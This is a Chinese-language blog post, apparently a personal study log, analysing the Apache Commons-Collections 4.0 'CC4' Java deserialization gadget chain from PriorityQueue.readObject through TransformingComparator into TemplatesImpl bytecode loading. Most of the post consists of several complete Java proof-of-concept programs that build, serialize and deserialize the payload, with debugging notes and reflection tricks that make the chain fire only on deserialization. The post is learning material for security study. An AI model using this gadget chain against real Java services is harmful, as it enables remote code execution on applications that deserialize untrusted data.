CC4学习记录

🌸 CC4

CC4要求的commons-collections的版本是4.0的大版本。

其实后半条链是和cc3一样的,但是前面由于commons-collections进行了大的升级,所以出现了新的前半段链子。

配置文件:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
🌸 链子分析

还是从transform开始分析!查找调用transform方法的地方:

发现在comparators对比器中,TransformingComparator类中的compare方法中调用了transform方法!这是一个经典的比较器。

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

继续向前查找谁又调用了compare方法,当然查找的方法还是一样的,这里的搜索结果就比较多了!

我们期望最好的结果就是某一个类中的readObject方法中调用了compare方法。这里就直接看结果,在PriorityQueue类中的readObject方法中调用了compare方法!

PriorityQueue类实现了Serializable接口,可以进行序列化。

其代码如上,可以看到在PriorityQueue类中的readObject方法的最后,调用了heapify方法。继续跟进到heapify方法里面:

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

该方法中通过for循环去调用了siftDown方法!for循环中的i初始化为size右移3位。继续跟进到siftDown方法中:

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

siftDown方法中,通过if (comparator != null)判断comparator是否为空,如果不为空的话,就调用siftDownUsingComparator方法,继续跟进到这个方法中:

最后在siftDownUsingComparator方法中,通过comparator.compare()调用了compare方法。从而最终实现了代码执行(后面的半条链子就接上了cc3的链子)。

该类的构造器也是可以直接访问的,传入的参数就是comparator

到这里的话,就是比较清晰了:

PriorityQueue#readObject->PriorityQueue#heapify->PriorityQueue#siftDown->siftDownUsingComparator->TransformingComparator#compare

后续的话就是接上了cc3的链子!

🌸 编写POC

那么就可以尝试写POC了:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //修改_tfactory变量
//        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
//        tfactoryField.setAccessible(true);
//        tfactoryField.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象
        

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator comparator = new TransformingComparator(chainedTransformer);

        PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);
        serialization(priorityQueue);
        deserialization();

    }


    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

但是当我们运行结束的时候,发现并没有执行任何代码。直接就结束了,也没有报错信息~

🌸 解决问题

因为我们想要尝试去执行PriorityQueuereadObject方法,所以我们直接尝试下断点到heapify

然后我们尝试进行调试:

跟进到这里我们可以发现size的结果是0,接下来执行的是for循环的第一次,i的结果就是size>>>1,在java中,>>>的含义是将一个数的二进制数右移几位,并在左侧空出来的位置,使用0进行填充。因此由于这里的size就是0,所以往右移动1位,还是0,然后i=0-1,得到了i=-1,由于i>=0这个条件并没有满足,所以整个for循环就没有进去!

2的二进制为00000010 -------> 00000001(右移一位的结果就是1),所以我们可以让size的结果是大于等于2的结果,此时就会进入for循环啦!这里有两个方法:

  1. 首先这里我们看到sizeprivate修饰的,所以我们可以尝试直接通过反射来修改size的参数值。
  2. 第二种方式就是可以通过往队列里面放入两个值,也是可以的!
🍂 往队列里面存放值解决

首先我们可以直接往priorityQueue里面存放队列,add方法用来增加队列,传递Transformer就可以了,所以我们尝试传递两个ConstantTransformer


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //修改_tfactory变量
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator comparator = new TransformingComparator(chainedTransformer);

        PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);
        priorityQueue.add(new ConstantTransformer(1));
        priorityQueue.add(new ConstantTransformer(2));
        serialization(priorityQueue);
//        deserialization();
    }


    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

但是发现代码在序列化的时候,就执行了弹计算器的操作!继续调试:我们发现在我们add的时候(断点直接下载add方法中),发现调用了offer方法:

(第二次add的时候,由于前面已经是add了一个值,所以size变成了1,然而初始化int i = size的时候,i的值就变成了 1 )继续跟进到offer方法中,然而在offer方法中,其完整的代码如下:

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

这里就又调用了siftUp方法,继续跟进:

跟进到siftUp方法中发现:

调用了siftUpUsingComparator,再次跟进:

然而在siftUpUsingComparator方法中,居然就调用了compare方法,导致了我们的代码执行!所以这里需要通过反射改掉前面的某一个值,这个类似于前面的cc,比如改掉chainedTransformer,或者comparator里面的值就好了!


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //修改_tfactory变量
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);
        //解决for循环不进入的问题
        priorityQueue.add(new ConstantTransformer(1));
        priorityQueue.add(new ConstantTransformer(2));
        Class<? extends TransformingComparator> aClass = comparator.getClass();
        Field transformerField = aClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(comparator,chainedTransformer);
//        serialization(priorityQueue);
        deserialization();
    }


    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}
🍂 反射解决

直接通过反射获取PriorityQueue这个类的原型类,然后进行获取私有的属性,最后在修改这个属性的参数。


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //修改_tfactory变量
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象


        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator comparator = new TransformingComparator(chainedTransformer);

        PriorityQueue<Transformer> priorityQueue = new PriorityQueue<>(comparator);
       Class<? extends PriorityQueue> aClass = priorityQueue.getClass();
       Field sizeField = aClass.getDeclaredField("size");
       sizeField.setAccessible(true);
       sizeField.set(priorityQueue,2);
        serialization(priorityQueue);
       deserialization();
    }


    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc4.ser"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc4.ser"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

 以上代码便可以成功的执行代码!弹出计算器!(这里不需要反射修改chainedTransformer,或者comparator的原因是,我们通过反射的方法修改了size的参数值,并没有利用add方法,也就不会在序列化的时候,就调用compare方法,也就不会在序列化的过程中就弹出计算器了)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y4y17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值